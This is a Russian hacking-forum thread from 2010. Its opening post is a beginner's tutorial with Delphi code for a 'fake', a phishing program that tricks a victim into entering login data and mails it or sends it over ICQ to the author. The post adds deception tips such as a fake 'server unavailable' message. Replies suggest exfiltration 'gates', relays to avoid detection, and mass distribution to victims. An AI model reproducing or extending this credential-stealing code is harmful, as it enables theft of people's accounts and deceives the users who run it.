Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   FAQ/Фейк на дельфи своими руками (https://forum.antichat.xyz/showthread.php?t=182693)

DJ4J 28.02.2010 12:48

FAQ/Фейк на дельфи своими руками
 
Фейк на дельфи своими руками
Недавно стал изучать дельфи,получилось написать пару фейков.
Статей на эту тему не увидел,на все что наткнулся было PHP
Что нам нужно
Indy Если хотим слать на мыло
TICQClient Если хотим слать на ICQ
Сильно не пинать,моя первая статья и полностью рассчитана для новичков.

На мыло

Кидаем батон,2 эдита,и
из инди
IdMessage
IdSMTP
IdAntiFreeze

На кнопку прописываем код



IdSMTP1.Host:=('smtp.yandex.ru') ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:=('Username') ;//Имя пользователя
IdSMTP1.password:=('Password') ;//Пароль
IdMessage1.Body.Text:=(Edit1.text+';'+edit2.text);//Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:=('Email@domen.com');//От кого шлем
IdMessage1.Recipients.Emailaddresses:=('Email@dome n.com'); //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
Для большей правдоподобности можно добавить
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.


На Аську



ну тут все проще
Кидаем батон,2 эдита,и
ICQClient1
из вкладки Samples


На кнопку

ICQClient1.UIN:=strtoint(Uin); // UIN
ICQClient1.Password:= Password; // Пароль
ICQClient1.Login();//Логинимся
Sleep (10000);//ждем когда залогинится
ICQClient1.SendMessage(StrToInt('IcqNumber'), );//куда и что шлем



Чтобы жертва не тарабанила по кнопке,можно прописать в конце
Button1.Enabled:=False;
Это должно отключить кнопку
ну и до этого опять добавит какое нибудь сообщение,как это сделать смотрим выше.

mailbrush 28.02.2010 13:02

Оформил бы все красиво.
И где отправка на гейт?

НTL 28.02.2010 13:09

Цитата:

На Аську



ну тут все проще
Кидаем батон,2 эдита,и
ICQClient1
из вкладки Samples


На кнопку

ICQClient1.UIN:=strtoint(Uin); // UIN
ICQClient1.Password:= Password; // Пароль
ICQClient1.Login();//Логинимся
Sleep (10000);//ждем когда залогинится
ICQClient1.SendMessage(StrToInt('IcqNumber'), );//куда и что шлем



Чтобы жертва не тарабанила по кнопке,можно прописать в конце
Button1.Enabled:=False;
Это должно отключить кнопку
ну и до этого опять добавит какое нибудь сообщение,как это сделать смотрим выше.
Зачем ждать 10 сек, если есть событие при подключение

Дополни отправкой на гейт,
+отправка файлов на гейт
И все это по сокету

gibson 28.02.2010 13:29

Спустил в разде кодинга. В след раз удалю.

Goodwin_ 28.02.2010 15:38

а если у жертвы стоит фаерволл? где обход фаерволла?!?!?!?!71адин

W!z@rD 28.02.2010 15:58

Цитата:

Sleep (10000);//ждем когда залогинится
ICQClient1.SendMessage(StrToInt('IcqNumber'), );//куда и что шлем
быдлокодинг.
неужели нет событий?

мне печально на такое смотреть. фейки...

Sokolik 08.03.2010 03:03

Я ничего не имею против ТС, но фейки которы шлют отчеты на мыло и Ацку не актуальны.

1. Чтобы посмотреть 1 отчет нужно открыть письмо... А если 1000 отчетов? Можно конечно это дело автоматизировать, но есть более простые варианты реализации.

2. Если впаривать фейк который работает по ICQ протоколу, то возникает несколько проблем. Если уже фейк запущен у жертвы, то от другой жертвы уже отчет не придет. Если массово впарить фейк, то при коннекте дисконекте нум получит блок на N-ый промежуток времени.

Вывод слать отчеты на гейт и не париться!
Желательно через шлюз, т.е. шлюз принял отчет и переслал в БД, это на тот случай если фейк заснифают...

WyBie 08.03.2010 10:54

Если у кого то приходит вместо текста ?????????
то добавте этот код

IdMessage1.CharSet:='windows-1251';

sanya111 08.03.2010 12:01

Для того того что бы отчёты на аську слать, нужно еще установить компонент ICQClient
Скачать его можно здесь (пост 22).

Seravin 08.03.2010 19:36

по моeму лучшe в дaнном случae нe инди использовaть, a synapse, мeнee гeморойно. И по моему если ты накидаешь столько компонентов то у тебя будет мегавесомая программа


Время: 17:49